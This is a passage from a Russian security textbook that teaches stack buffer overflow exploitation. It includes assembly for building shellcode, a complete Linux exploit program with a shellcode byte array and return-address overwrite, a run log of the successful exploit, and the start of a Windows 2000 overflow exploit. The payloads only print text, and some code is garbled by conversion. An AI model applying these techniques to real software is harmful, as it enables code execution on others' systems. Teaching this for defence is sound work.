Защита от хакеров корпоративных сетей
Шрифт:
$ cat ret.c
int main
{
return(0);
}
$ gcc ret.c -o ret
$ gdb ./ret
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>: push %EBP
0x8048431 <main+1>: mov %ESP,%EBP
0x8048433 <main+3>: mov $0x0,%EAX <– here it is :)
0x8048438 <main+8>: pop %EBP
0x8048439 <main+9>: ret
0x804843a <main+10>: mov %ESI,%ESI
0x804843c <main+12>: nop
0x804843d <main+13>: nop
0x804843e <main+14>: nop
0x804843f <main+15>: nop
End of assembler dump.
(gdb)Далее, вместо выполнения оператора возврата return (значение) пропустим его и перепишем значение ESP в регистр EAX. Таким способом значение регистра ESP может быть назначено переменной. Вот пример программы, отображающей содержимое регистра ESP:
–get_ESP.c–
unsigned long get_ESP(void)
{
__asm__(“movl %ESP,%EAX”);
}
int main
{
printf(“ESP: 0x%x\n”, get_ESP);
return(0);
}
–get_ESP.c–Можно ли теперь, зная адрес начала стека, точно определить
Но для разумной оценки адреса области размещения управляющего кода можно увеличить ее размер способом, аналогичным способу последовательности команд nop. В начале работы программы все регистры были очищены командами xor, поэтому в качестве заполнителя буфера можно воспользоваться одной из команд работы с регистром, которая не окажет влияния на работу программы. Например, команда inc 0 %>EAX, машинный код представляется шестнадцатеричным байтом 0x41, увеличивает значение регистра EAX на единицу. В управляющем коде регистр EAX перед использованием обнуляется. Поэтому при размещении перед первой командой jmp команд inc %EAX управляющий код будет прекрасно работать. В действительности в управляющем коде можно разметить столько команд inc %EAX, сколько захотим. В данном случае команда inc %EAX эквивалентна команде nop. Поэтому выберем размер управляющего кода равным 1000 байт и заполним его символами 0x41, другими словами, командой inc%EAX.
Определенная в программе переполнения буфера символическая константа OFFSET – предполагаемое смещение области размещения управляющего кода в стеке. В программе ему присвоено символическое значение ESP+1500.
Вот так в конечном счете выглядят управляющий код и программа переполнения:#include <stdlib.h>
#include <stdio.h>
/***** Shellcode dev with GCC *****/
int main {
__asm__(”
jmp string # jump down to <string:>Это команды, с которых фактически начинается программный код полезной нагрузки. Сначала обнуляются используемые в программе регистры, чтобы находящиеся в них данные не повлияли на работу управляющего кода:
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
# Now we are going to set up a call to the
write
#function. What we are doing is basically:
# write(1,EXAMPLE!\n,9);
# Syscall reference: /usr/include/asm/unistd.h
#
# write : syscall 4
#Почти всем системным вызовам Linux параметры передаются через регистры. Параметры системного вызова <write> передаются через следующие регистры:
• ECX: адрес записываемых данных;
• EBX: дескриптор файла, в рассматриваемом случае используется дескриптор стандартного файла вывода stdout;
• EDX: длина записываемых данных.
Теперь в регистр EBX записывается нужный дескриптор файла. В данном случае дескриптор стандартного файла вывода stdout равен 1:popl %ECX # %ECX now holds the address of our string mov $0x1, %EBX
Затем длина записываемой строки записывается в младший полубайт регистра %EDX:
movb $0x09, %dl
Перед обращением к системному вызову следует сообщить операционной системе, какой системный вызов должен быть выполнен. Достигается это записью номера системного вызова в младший байт регистра %EAX – %al:
movb $0x04, %al
Теперь операционная система выполняет системный вызов, номер которого записан в регистр %al.
int $0x80
В конце программы нужно выполнить системный вызов завершения работы <exit> или #syscall 1. Системному вызову exit в данном случае параметры не нужны, поэтому фрагмент кода выглядит следующим образом:
movb $0x1, %al
int $0x80
string:
call code
A call pushes the address of the next instruction onto the stack and then does a jmp
to the specified address. In this case the next instruction after <call code> is
actually the location of our string EXAMPLE. So by doing a jump and then a call, we
can get an address of the data in which we’re interested. So now we redirect the
execution back up to <code:>
.string \“EXAMPLE\n\”
“);В конечном счете программа переполнения буфера выглядит так:
/****** Shellcode dev with GCC *****/
#include <stdlib.h>
#include <stdio.h>
char shellcode[] =
“\xeb\x16” /* jmp string */
“\x31\xdb” /* xor %EBX, %EBX */
“\x31\xd2” /* xor %EDX, %EDX */
“\x31\xc0” /* xor %EAX, %EAX */
“\x59” /* pop %ECX */
“\xbb\x01\x00\x00\x00” /* mov $0x1,%EBX */
“\xb2\x09” /* mov $0x9,%dl */
“\xb0\x04” /* mov $0x04,%al */
“\xcd\x80” /* int $0x80 */
“\xb0\x01” /* mov $0x1, %al */
“\xcd\x80” /* int $0x80 */
“\xe8\xe5\xff\xff\xff” /* call code */
“EXAMPLE\n”
;
#define VULNAPP «./bof»
#define OFFSET 1500
unsigned long get_ESP(void)
{
__asm__(«movl %ESP,%EAX»);
}
main(int argc, char **argv)
{
unsigned long addr;
FILE *badfile;
char buffer[1024];
fprintf(stderr, «Using Offset: 0x%x\nShellcode Size:
%d\n»,addr,sizeof(shellcode));
addr = get_ESP+OFFSET;
/* Make exploit buffer */
memset(&buffer,0x41,1024);
buffer[12] = addr & 0x000000ff;
buffer[13] = (addr & 0x0000ff00) >> 8;
buffer[14] = (addr & 0x00ff0000) >> 16;
buffer[15] = (addr & 0xff000000) >> 24;
memcpy(&buffer[(sizeof(buffer) –
sizeof(shellcode))],shellcode,sizeof(shellcode));
/* put it in badfile */
badfile = fopen(“./badfile”,“w”);
fwrite(buffer,1024,1,badfile);
fclose(badfile);
}Пример выполнения программы переполнения буфера представлен ниже:
sh-2.04# gcc sample4.c -o sample4
sh-2.04# gcc exploit.c -o exploit
sh-2.04# ./exploit
Using Offset: 0x8048591
Shellcode Size: 38
sh-2.04# od -t x2 badfile
0000000 4141 4141 4141 4141 4141 4141 fc04 bfff
#########
*
0001720 4141 4141 4141 4141 4141 16eb db31 d231
0001740 c031 bb59 0001 0000 09b2 04b0 80cd 01b0
0001760 80cd e5e8 ffff 45ff 4158 504d 454c 000a
2000
sh-2.04# ./sample4
EXAMPLE
sh-2.04#В
первых двух строчках, начинающихся с gcc, содержится вызов компилятора для трансляции уязвимой программы sample4.c и программы переполнения буфера exploit.c. Программа переполнения буфера выводит смещение области размещения управляющего кода в стеке и размер программного кода полезной нагрузки. Попутно создается файл « badfile », к которому обращается уязвимая программа. Затем отображается дамп содержимого файла «badfile» (команда octal dump – od) в шестнадцатеричном формате. По умолчанию эта версия команды od не отображает повторяющиеся строчки, выводя вместо них строку, начинающуюся звездочкой «*». Поэтому в дампе не показаны повторяющиеся строчки со смещениями от 0000020 и до 0001720, заполненные командами 0x41 из последовательности команд inc %EAX. И наконец, приведен отчет работы программы sample4, которая выводит строку EXAMPLE. Если просмотреть исходный текст уязвимой программы, то можно заметить, что ничего подобного в ней запрограммировано не было. Этот вывод был запрограммирован в программе переполнения буфера. Из этого следует, что попытка воспользоваться переполнением буфера в своих целях оказалась успешной. Пример программы переполнения буфера для Windows NTРассмотрим возможность использования ошибки переполнения буфера в Windows NT. Большинство рассматриваемых в этой секции подходов применимо ко всем платформам Win32 (Win32 – платформа, поддерживающая Win32 API, например Intel Win32s, Windows NT, Windows 95, MIPS Windows NT, DEC Alpha Windows NT, Power PC Windows NT), но в силу различий между платформами не все способы применимы к каждой из них. Приведенная ниже программа была написана и оттестирована в Windows 2000 Service Pack 2. Она может работать и на других платформах, но из-за ее простоты и минимума функциональных возможностей, реализованных в ней, этого гарантировать нельзя. Пригодные для различных платформ способы переполнения буфера будут рассмотрены в этой главе позднее.
Известно большое количество способов переполнения буфера в Windows. Приведенная ниже программа демонстрирует лишь некоторые них. Для того чтобы программа получилась небольшой, рассмотрена реализация непереносимого переполнения буфера. Программа предназначена для выполнения в Windows 2000 Service Pack 2. Для выполнения на другой платформе потребуется повторная компиляция и, возможно, внесение в программу небольших изменений.
Программа выводит всплывающее окно – сообщение с текстом приветствия «HI».
На примере программы будет рассмотрено:
• создание загрузчика (средства доставки);
• построение программы переполнения буфера;
• нахождение точки передачи управления (точки перехода);
• запись программного кода полезной нагрузки.
Создание загрузчика. Загрузчик ориентирован на работу с файлами, поскольку было известно, что исследуемое переполнение буфера проявляется при чтении данных из файла в буфер. Было также известно, что уязвимая программа читает из файла двоичные данные. Поэтому можно было не беспокоиться о нулевых байтах в управляющем коде. В результате был написан простой загрузчик, который записывает управляющий код в файл. Уязвимая программа прочитает из файла программу переполнения буфера в буфер данных.
Средства записи в файл в Windows NT довольно просты. Для открытия файла, записи в него и закрытия файла в программе были использованы функции программного интерфейса приложения API CreateFile, WriteFile и CloseHandle. Буфер writeme предусмотрен для хранения программы переполнения буфера.
Пример фрагмента программы для открытия файла и записи в него данных приведен ниже://open the file
file=CreateFile(“badfile”,GENERIC_ALL,0,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
//write our shellcode to the file
WriteFile(file,writeme,65,&written,NULL);
CloseHandle(file);Запись программы переполнения буфера. Из описания уязвимой к переполнению буфера программы ясно, что для подмены содержимого регистра EIP следует изменить в буфере первые 16 байт данных, где первые 8 байт содержат данные, последующие 4 байта – сохраненное в стеке содержимого регистра EBP и еще 4 байта – сохраненное значение регистра EIP. Другими словами, в буфер должно быть записано 12 байт информации. Было решено записывать шестнадцатеричный эквивалент двенадцати команд процессора Intel nop, то есть 12 байт 0x90. На первый взгляд это похоже на способ использования последовательности команд nop, но это не совсем так, поскольку на сей раз можно определить точный адрес перехода и, следовательно, нет необходимости выполнять ничего не делающие команды. В данном случае последовательность команд nop является заполнителем буфера, которым в стеке перезаписывается буфер данных и сохраненное содержимое регистра EBP. Для заполнения первых 12 байт буфера байтом 0x90 используется функция memset из библиотеки функций языка С.
memset(writeme,0x90,12); //set my local string to nops
Поиск точки перехода. После подготовки буфера следует найти подходящую точку перехода. Уже упоминалось о многочисленных способах загрузки в регистр EIP указателя на нужную программу. Обычно для этого в отладчике устанавливается точка прерывания перед выполнением команды ret и анализируется содержимое регистров. Например, содержимое регистров в точке прерывания может быть следующим:
EAX = 00000001 EBX = 7FFDF000
ECX = 00423AF8 EDX = 00000000
ESI = 00000000 EDI = 0012FF80
ESP = 0012FF30 EBP = 90909090